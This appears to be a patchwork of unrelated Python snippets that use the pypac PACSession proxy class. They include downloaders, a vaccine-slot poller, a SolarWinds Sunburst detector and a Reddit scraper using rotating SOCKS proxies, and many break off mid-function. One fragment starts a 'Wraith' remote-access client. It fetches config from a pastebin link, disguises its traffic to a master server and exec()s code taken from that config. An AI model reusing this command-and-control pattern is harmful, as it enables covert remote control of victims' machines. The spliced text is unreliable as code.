def getFileFromUrl(self, url): self.clear_errors() os = system() if os == 'Windows': session = PACSession() r = session.get(url) else: r = requests.get(url, proxies=urllib.request.getproxies()) return str(r.content, 'utf-8')
def getFileFromUrl(self, url):
self.clear_errors()
os = system()
if os == 'Windows':
session = PACSession()
r = session.get(url)
else:
r = requests.get(url, proxies=urllib.request.getproxies())
if self.ApiVersion<3:
return str(r.content, 'utf-8')
else:
return binascii.hexlify(r.content).decode('utf-8')
def _download_url(self, url, user_agent=None, use_pac=False, headers=None):
user_agent = user_agent or self.DEFAULT_USER_AGENT
headers = headers or {}
download_headers = {
"User-Agent": user_agent,
}
download_headers.update(headers)
if use_pac:
session = PACSession(pac=self.pac,
proxy_auth=HTTPProxyAuth(
self.username, self.password))
else:
session = Session()
response = session.get(url, headers=download_headers)
return response
def run_process():
iteration = 0
while (True):
base = datetime.datetime.today()
start_date = base.strftime("%d-%m-%Y")
url = COWIN_URL.format(DIST_ID, start_date)
session = PACSession()
response = session.get(url, headers=COWIN_HEADERS)
if response.ok:
resp_json = response.json()
df = pd.DataFrame()
i = 0
for center in resp_json["centers"]:
for session in center["sessions"]:
if center["name"] not in EXCLUDE_LOCATIONS:
df.at[i, "center_name"] = center["name"]
df.at[i, "pin_code"] = int(center["pincode"])
df.at[i, "available_capacity_dose1"] = session['available_capacity_dose1']
df.at[i, "min_age_limit"] = session["min_age_limit"]
df.at[i, 'date'] = session['date']
df.at[i, 'fee_type'] = center['fee_type']
i += 1
df.pin_code = df.pin_code.astype(int)
df.available_capacity_dose1 = df.available_capacity_dose1.astype(int)
df.min_age_limit = df.min_age_limit.astype(int)
if PIN_CODE_LIST:
df = df[df.pin_code.isin(PIN_CODE_LIST)]
df = df[(df.available_capacity_dose1 > 0)]
# df = df[df.fee_type == 'Free']
if df.shape[0]:
print(df)
texts = get_texts(df)
for text in texts:
send_message(text)
# print(text)
alert('successful')
if response.status_code in [404, 403, 500, 400]:
alert()
if iteration % 50 == 0:
print(iteration)
time.sleep(10)
iteration += 1
def __init__(com):
print "initial" #used for testing will probably remove soon
com.startThredCount = threading.activeCount() #figure the startin
com.documentation = [
] #initial com.documentation. This is used to store all the
"""Removed the proxy line!!! get this from dustin""" #set up the pac session by getting the proxy wpad file
com.session = PACSession(com.pac) #set the session with the proxy
com.testCounter = 0 #delete this later
com.resultList = [
] #initial com.resultList. This is used to store all the design examples and links that fail testing.
com.getLinks(
fileLoc
) #run the getLinks def to get all the documentation links from the xlsx file
for row in com.documentation: #for each link in the documentation list check the link
for x in range(
1, 6
): #check each link individually. there are 5 possible links for each design example
if (row[x][0] != "-"): #check if the link is empty
tman = threading.Thread(
target=com.requesLink, args=(row[0], row[x])
) #spin off a new thread for each link. This keeps the slow to respond servers from holduing up the fast ones
tman.start(
) #start the new thread created for the link
com.testCounter = com.testCounter + 1
'''**********************************************************************************************'''
if (
bool.isSet()
): #if the abort button is hit the bool breaks the loop for the threads
break # <====================== break in the loop
'''**********************************************************************************************'''
print threading.activeCount()
if (
threading.activeCount() > (100 + com.startThredCount)
): #if too many threads get started wait untill some of them complete and close out
while (
threading.activeCount() >
(com.startThredCount + 20)
): #while there are more than 20 threads loop though the sleep loop and recheck how many threads are running
time.sleep(
1
) #sleep for one second. all the other threads are running their connections. This keeps the system from spinning off new threads untill some finish and close
while (
threading.activeCount() > com.startThredCount
): #before the results list are appended to the xlsx file wait for all the threads checking links to finish and close
time.sleep(1)
print threading.activeCount()
'''**********************************************************************************************'''
if (
bool.isSet()
): #if the abort button is hit the bool breaks the loop for the threads
break # <====================== break in the loop
'''**********************************************************************************************'''
com.writeResults(
) #use the writeResults def to save and dead links or examples that have problems to the xlsx file
def download_files(url_list, filenames): #Download files
session = PACSession()
#Check directory exists
try:
os.makedirs('C://download/pdf-' + org + '/')
except OSError as e:
if e.errno != errno.EEXIST:
raise
#Check files and names are the same length:
if len(url_list) == len(filenames):
for i in range(0, len(url_list)):
sleep(1)
try:
print('Downloading: ' + filenames[i] + '@ ' + url_list[i])
resp = session.get(url_list[i], verify=False)
filepath = 'C://download/pdf-' + org + '/' + filenames[i]
with open(filepath, 'wb') as f:
f.write(resp.content)
except:
print("too many connections: " + filenames[i] + '@ ' +
url_list[i])
else:
print('Files and names are not of equal length!')
session.close()
def get_qatrack_session(self, values=None):
vals = values or self.get_config_values('QATrack+ API')[0]
url = vals.get('api url')
auth_header = '%sAuthorization' % ('Rad'
if 'radformation' in url else '')
s = PACSession()
s.headers[auth_header] = f"Token {vals['auth token']}"
if settings.BROWSER_USER_AGENT:
s.headers['User-Agent'] = settings.BROWSER_USER_AGENT
s.verify = vals['verify ssl']
for prox in ['http', 'https']:
p = vals[f"{prox} proxy"].strip()
if p:
s.proxies[prox] = p
return s
def init():
with open('proxy.pac') as f:
print('Reading PAC...')
pac = PACFile(f.read())
print('Initializing session...')
session = PACSession(pac)
class ReloadWraith(Exception): pass
# Disable insecure certificate warning
disable_warnings(InsecureRequestWarning)
# Set some variables
config = {}
config["CONFIG_UPDATE_LINK"] = "https://pastebin.com/raw/urlhere"
config["MASTER_SERVER_ADDRESS"] = "0.0.0.0"
config["MASTER_CONNECTION_PORT"] = "8000"
config["CONNECTION_PROTOCOL"] = "http"
config["STARTUP_EXEC_CODE"] = ""
WRAITH_VERSION = "2.0.2"
FINGERPRINT = take_fingerprint()
TOKEN = ""
requests = PACSession()
command_queue = []
# Set up the session to make our requests less suspicious
requests.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36",
"Connection": "Keep-Alive",
"Host": "{}:{}".format(config["CONNECTION_PROTOCOL"],config["MASTER_SERVER_ADDRESS"],config["MASTER_CONNECTION_PORT"]),
"X-FINGERPRINT": FINGERPRINT,
})
update_config()
exec(config["STARTUP_EXEC_CODE"])
while True:
#pip3 install pypac
#pip3 install pymmh3
#special thanks to Devansh batham on his favicon osint techniques
import pymmh3 as mmh3 #we are using pure python implementation of mmh3
from multiprocessing.pool import ThreadPool
from time import time as timer
from pypac import PACSession #for bypass proxy setting using pac for corporate env, also substitute requests module
import codecs
import urllib3
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
#initialize session
s = PACSession()
#max time to wait for request connection
max_time = 3
#Signature for solarwind orion
Signature = {-1776962843: "Solarwinds Orion"}
#vulnerable version string
string_check = ['2020.2', '2019.4']
a = {}
spacing = " "
def display_banner():
banner_text = '''
MiniScript for detecting Solarwinds Sunburst
def target_session(proxy):
pac = get_pac(url=proxy, allowed_content_types=['text/plain'])
return PACSession(pac)
def _download(self):
log('Download Handler thread started {}'.format(self.url))
ch = (2**20) * self._chunk_size # in MBs
log("Chunk-Size:{} B".format(ch))
if self._chunk_size > 20:
stream_unit_size = (2**20) * 20
else:
stream_unit_size = int((2**20) * self._chunk_size / 2)
n_bytes_read = 0
# req = requests.session()
req = PACSession()
if self._proxy['user'] != '' and self._proxy['user'] is not None:
log(self._proxy['user'])
req.proxy_auth = HTTPProxyAuth(self._proxy['user'],
self._proxy['pwd'])
# if self._proxy['user'] is None:
# req = requests.session()
if self._proxy['addr'] is None or self._proxy['addr'] == '':
proxies = None
else:
log(self._proxy['user'])
proxies = {
'http':
'http://{}:{}'.format(self._proxy['addr'],
self._proxy['port']),
'https':
'http://{}:{}'.format(self._proxy['addr'], self._proxy['port'])
}
try:
with req.get(self.url, stream=True, proxies=proxies) as r:
log("Response:{}".format(r.status_code))
if (r.status_code < 200) or (r.status_code > 300):
error_text = "Download Failed status code:{}".format(
r.status_code)
log(error_text, CusLog.LOG_ERROR)
self._failed()
return 1
total_bytes = int(r.headers['Content-Length'])
except requests.exceptions.ProxyError:
log('proxy error')
self._failed(1)
return 1
except Exception as e:
log("Failed to connect :{}".format(e), CusLog.LOG_ERROR)
self._failed()
return 1
log("total-Size:{} B".format(total_bytes))
overall_start = time.perf_counter()
with open(self.dest, 'ab') as file:
st1 = time.perf_counter()
sb1 = n_bytes_read
time_out_count = 0
while n_bytes_read < total_bytes:
self._progress((n_bytes_read, total_bytes))
while self.is_paused():
time.sleep(.25)
#speed = "0 B/s"
self._speed()
if self.is_cancelled():
return 1
if self.is_cancelled():
return 1
header = {
"Range":
"bytes={}-{}".format(n_bytes_read, n_bytes_read + ch - 1)
}
try:
with req.get(self.url,
headers=header,
stream=True,
timeout=(10, 10)) as r:
chunk = bytes()
for chun in r.iter_content(
chunk_size=stream_unit_size):
# for chun in r.iter_content():
if self.is_cancelled():
return 1
if chun:
chunk += chun
chunklen = len(chunk)
self._progress(
(n_bytes_read + chunklen, total_bytes))
db = n_bytes_read + chunklen - sb1
dt = time.perf_counter() - st1
#log("{}".format(dt))
if dt > 1:
self._speed(db, dt)
sb1 = n_bytes_read + chunklen
st1 = time.perf_counter()
if self.is_paused():
break
except Exception as e:
# if len(chunk) > 0: # send write portion of chunk data that has been downloaded
# n_bytes_read += len(chunk)
# file.write(chunk)
# log("writing chunk")
self._progress((n_bytes_read, total_bytes))
time_out_count += 1
log(e, CusLog.LOG_ERROR)
log("Timeout count: {}".format(time_out_count),
CusLog.LOG_ERROR)
if time_out_count % 2 == 0: # TODO: put this in a thread and exit o
log("Sleep for {} secs".format(30), CusLog.LOG_ERROR)
time.sleep(30)
continue
else:
if len(
chunk
) > 0: # send write chunk data that has been downloaded
n_bytes_read += len(chunk)
file.write(chunk)
self._progress((n_bytes_read, total_bytes))
self._progress((n_bytes_read, total_bytes))
self._speed()
log("download complete---time taken:{}".format(time.perf_counter() -
overall_start))
self._complete()
def dolala(tindex, lala, index, sum_resp_len, lines, n, m, i, comments,
submissions, ts, ts2, wl_subreddits, path_out):
index = index + 1
going = True
if index == len(wl_subreddits):
going = False
if lala not in blocked:
sleep(random.randint(0, 3))
try:
with open('/var/www/html/proxies.PAC') as f:
pac = PACFile(f.read())
session = PACSession(pac, socks_scheme='socks4')
except:
try:
with open('/var/www/html/proxies_temp.PAC') as f:
pac = PACFile(f.read())
session = PACSession(pac, socks_scheme='socks4')
except:
abc = 123
subresult = dogetsubmissions(tindex, ts, lala, ts2, going, dict(),
dict(), index, "", session, 429, 1, False,
[])
#jareprint(subresult)
going = subresult['going']
print('sub')
submissions = subresult['submissions']
jareprint(str(len(submissions)))
print('com')
comments = subresult['comments']
jareprint(str(len(comments)))
else:
going = False
sorted_id = sorted([(comments[cid]['link_id'], comments[cid]['parent_id'],
cid) for cid in comments])
jareprint('total comments: %i' % len(comments))
skip_id = {}
#jareprint('sorted: ' + str(sorted_id))
if args.leaves_only:
for _, pid, _ in sorted_id:
skip_id[pid] = 1
#jareprint('sorted: ' + str(sorted_id))
for sid, pid, cid in sorted_id:
if args.keep_keys:
k = '\t'.join([sid, cid, 'keep'])
i += 1
#if i%1e5 == 0:
#print('selected hooziewhatsie %.2fM from %.1f/%.1fM comments'%(m/1e6, i/1e6, n/1e6), file=sys.stderr)
subreddit = ''
domain = ''
if sid in submissions.keys():
subreddit = submissions[sid]['permalink'].split('/')[2].lower()
domain = submissions[sid]['domain'].lower()
info = subreddit + '\t' + domain
comment = comments[cid]
txts = get_convo(sid, cid, cid, submissions, comments,
index) # filter 2
#if len(txts) < 3: # filter 3
#print("skip\tmin_depth\t%s\t%s\tdepth %d < %d: %s" % (info, comment['body'], len(txts), args.min_depth, "|".join(txts)), file=sys.stderr)
for i in range(len(txts)):
txts[i] = norm_sentence(txts[i], False)
if args.leaves_only and args.clean:
sc = '1.0'
skip_target = False
if args.discard_tgt_keys:
tgt_h = hashlib.sha224(txts[i].encode("utf-8")).hexdigest()
if tgt_h in keys_rm.keys():
skip_target = True
if bl_words.extract_keywords(txts[i]) or skip_target:
sc = '0.0'
txts[i] = sc + ' ' + txts[i]
src = ' EOS '.join(txts[:-1])
if len(txts) > 0:
tgt = txts[-1]
header = ','.join([sid, pid, cid])
jareprint('header: ' + str(header))
lines.append(header + '\t' + src + '\t' + tgt)
sum_resp_len += len(tgt.split())
m += 1
with open(path_out, 'a', encoding="utf-8") as f:
f.write(lines[-1] + '\n')
def dogetsubmissions(tindex, ts, lala, ts2, going, submissions, comments,
index, e, session, status_code, numcomments, donecomments,
submissionids):
if tindex >= 0:
jareprint(
str(tindex) +
" https://api.pushshift.io/reddit/search/submission/?sort=desc&sort_type=num_comments&subreddit="
+ lala + "&size=500&before=" + str(ts2) + "&after=" + str(ts) +
"&fields=created_utc,id,score,num_comments,domain,permalink,title&num_comments=>"
+ str(numcomments))
try:
if 'SOCKS' in str(e) or status_code != 200:
try:
with open('/var/www/html/proxies.PAC') as f:
pac = PACFile(f.read())
session = PACSession(pac, socks_scheme='socks4')
except:
try:
with open('/var/www/html/proxies_temp.PAC') as f:
pac = PACFile(f.read())
session = PACSession(pac, socks_scheme='socks4')
except:
abc = 123
resp = session.get(
"https://api.pushshift.io/reddit/search/submission/?sort=desc&sort_type=num_comments&subreddit="
+ lala + "&size=500&before=" + str(ts2) + "&after=" + str(ts) +
"&fields=created_utc,id,score,num_comments,domain,permalink,title&num_comments=>"
+ str(numcomments),
verify=True,
timeout=20)
#jareprint(resp.status_code)
status_code = resp.status_code
if tindex >= 0:
jareprint(status_code)
if resp.status_code == 200:
try:
resp = resp.json()['data']
if donecomments == False and (len(resp) == 0
or len(resp) == 500):
donecomments = True
if len(resp) < 500 and donecomments == False and len(
resp) != 0:
return dogetsubmissions(tindex, ts, lala, ts2, going,
submissions, comments, index, e,
session, status_code,
math.ceil(numcomments * 1.35),
donecomments, submissionids)
if len(resp) == 0 and donecomments == True:
blocked.append(lala)
going = False
if int(numcomments) == 1:
return ({
'going': going,
'submissions': submissions,
'comments': comments
})
else:
return dogetsubmissions(tindex, ts, lala, ts2, going,
submissions, comments, index,
e, session, status_code,
numcomments - 1, donecomments,
submissionids)
if len(resp) > 0:
gogos = 0
for line in resp:
if line['id'] in submissionids:
gogos = gogos + 1
jareprint(
str(tindex) + ' gogos: ' + str(gogos) + ' lenresp: ' +
str(len(resp)) + ' numcomments: ' + str(numcomments))
if gogos < len(resp):
for line in resp:
submission = line
if submission['id'] not in submissionids:
submissionids.append(submission['id'])
#if index == 1:
#jareprint(submission)
ts2o = ts2
ts2 = submission['created_utc']
#ts = 0
if ts2 > ts2o or ts2 < ts:
going = False
submissions[get_submission_id(
submission)] = submission
sleep(random.randint(1, 2) / 10)
toappend = getthecomments(
tindex, lala, submission, index, "",
session, 429, comments)
for comment in toappend:
comments[get_comment_id(comment)] = comment
#else:
#jareprint('gogo false')
if int(numcomments) == 1:
return ({
'going': going,
'submissions': submissions,
'comments': comments
})
else:
return dogetsubmissions(
tindex, ts, lala, ts2, going, submissions,
comments, index, e, session, status_code,
numcomments - 1, donecomments, submissionids)
else:
jareprint('gogos hit!')
if int(numcomments) == 1:
return ({
'going': going,
'submissions': submissions,
'comments': comments
})
else:
return dogetsubmissions(tindex, ts, lala, ts2,
going, submissions,
comments, index, e,
session, status_code,
int(numcomments / 1.2),
donecomments,
submissionids)
else:
#jareprint('empty resp')
abc = 123
if int(numcomments) == 1:
return ({
'going': going,
'submissions': submissions,
'comments': comments
})
else:
return dogetsubmissions(tindex, ts, lala, ts2, going,
submissions, comments, index,
e, session, status_code,
numcomments - 1, donecomments,
submissionids)
except Exception as e:
if 'SOCKS' not in str(e):
jareprint(e)
sleep(random.randint(1, 2) / 10)
#print(1)
return dogetsubmissions(tindex, ts, lala, ts2, going,
submissions, comments, index, e,
session, status_code, numcomments,
donecomments, submissionids)
traceback.print_exc()
else:
#jareprint('repeat')
#print(2)
sleep(random.randint(1, 2) / 10)
return dogetsubmissions(tindex, ts, lala, ts2, going, submissions,
comments, index, "", session, status_code,
numcomments, donecomments, submissionids)
except Exception as e:
if 'SOCKS' not in str(e):
jareprint(e)
#print(3)
sleep(random.randint(1, 2) / 10)
return dogetsubmissions(tindex, ts, lala, ts2, going, submissions,
comments, index, e, session, status_code,
numcomments, donecomments, submissionids)
traceback.print_exc()
return ({'going': going, 'submissions': submissions, 'comments': comments})
def getthecomments(tindex, lala, submission, index, e, session, status_code,
submissions):
comments = []
if tindex >= 0:
jareprint(
str(tindex) +
" https://api.pushshift.io/reddit/submission/comment_ids/" +
submission['id'])
try:
if 'SOCKS' in str(e) or status_code != 200:
try:
with open('/var/www/html/proxies.PAC') as f:
pac = PACFile(f.read())
session = PACSession(pac, socks_scheme='socks4')
except:
try:
with open('/var/www/html/proxies_temp.PAC') as f:
pac = PACFile(f.read())
session = PACSession(pac, socks_scheme='socks4')
except:
abc = 123
resp0 = session.get(
"https://api.pushshift.io/reddit/submission/comment_ids/" +
submission['id'],
verify=True,
timeout=20)
status_code = resp0.status_code
if tindex >= 0:
jareprint(resp0)
if resp0.status_code == 200:
sleep(random.randint(1, 2) / 10)
comments = []
try:
resp0 = resp0.json()['data']
ids = ""
if len(resp0) > 0:
for line in resp0:
ids = ids + "," + line
if len(ids) >= 1:
if tindex >= 0:
jareprint(
"https://api.pushshift.io/reddit/search/comment/?ids="
+ ids)
try:
if 'SOCKS' in str(e) or status_code != 200:
try:
with open(
'/var/www/html/proxies.PAC') as f:
pac = PACFile(f.read())
session = PACSession(pac,
socks_scheme='socks4')
except:
try:
with open(
'/var/www/html/proxies_temp.PAC'
) as f:
pac = PACFile(f.read())
session = PACSession(
pac, socks_scheme='socks4')
except:
abc = 123
resp = session.get(
"https://api.pushshift.io/reddit/search/comment/?ids="
+ ids,
verify=True,
timeout=20)
#jareprint(resp)
status_code = resp.status_code
if tindex >= 0:
jareprint(str(status_code))
if resp.status_code == 200:
sleep(random.randint(1, 2) / 10)
try:
resp = resp.json()['data']
if len(resp) > 0:
for line in resp:
comment = line
#if index == 1:
#jareprint(comment)
comments.append(comment)
return (comments)
else:
abc = 123
#jareprint('empty resp')
return (comments)
except Exception as e:
if 'SOCKS' not in str(e):
jareprint(e)
sleep(random.randint(1, 2) / 10)
return getthecomments(
tindex, lala, submission, index, e,
session, status_code, submissions)
traceback.print_exc()
else:
sleep(random.randint(1, 2) / 10)
return getthecomments(tindex, lala, submission,
index, "", session,
status_code, submissions)
except Exception as e:
if 'SOCKS' not in str(e):
jareprint(e)
sleep(random.randint(1, 2) / 10)
return getthecomments(tindex, lala, submission,
index, e, session,
status_code, submissions)
traceback.print_exc()
else:
#jareprint('empty resp')
return (comments)
except Exception as e:
if 'SOCKS' not in str(e):
jareprint(e)
sleep(random.randint(1, 2) / 10)
return getthecomments(tindex, lala, submission, index, e,
session, status_code, submissions)
traceback.print_exc()
else:
sleep(random.randint(1, 2) / 10)
return getthecomments(tindex, lala, submission, index, "", session,
status_code, submissions)
except Exception as e:
if 'SOCKS' not in str(e):
jareprint(e)
sleep(random.randint(1, 2) / 10)
return getthecomments(tindex, lala, submission, index, e, session,
status_code, submissions)
traceback.print_exc()
traceback.print_exc()
import _thread
import time
from pypac import PACSession
from pypac.parser import PACFile
import math
with open('/var/www/html/proxies.PAC') as f:
pac = PACFile(f.read())
try:
with open('/var/www/html/proxies.PAC') as f:
pac = PACFile(f.read())
session = PACSession(pac, socks_scheme='socks4')
except:
try:
with open('/var/www/html/proxies_temp.PAC') as f:
pac = PACFile(f.read())
session = PACSession(pac, socks_scheme='socks4')
except:
abc = 123
blocked = []
def dogetsubmissions(tindex, ts, lala, ts2, going, submissions, comments,
index, e, session, status_code, numcomments, donecomments,
submissionids):
if tindex >= 0:
jareprint(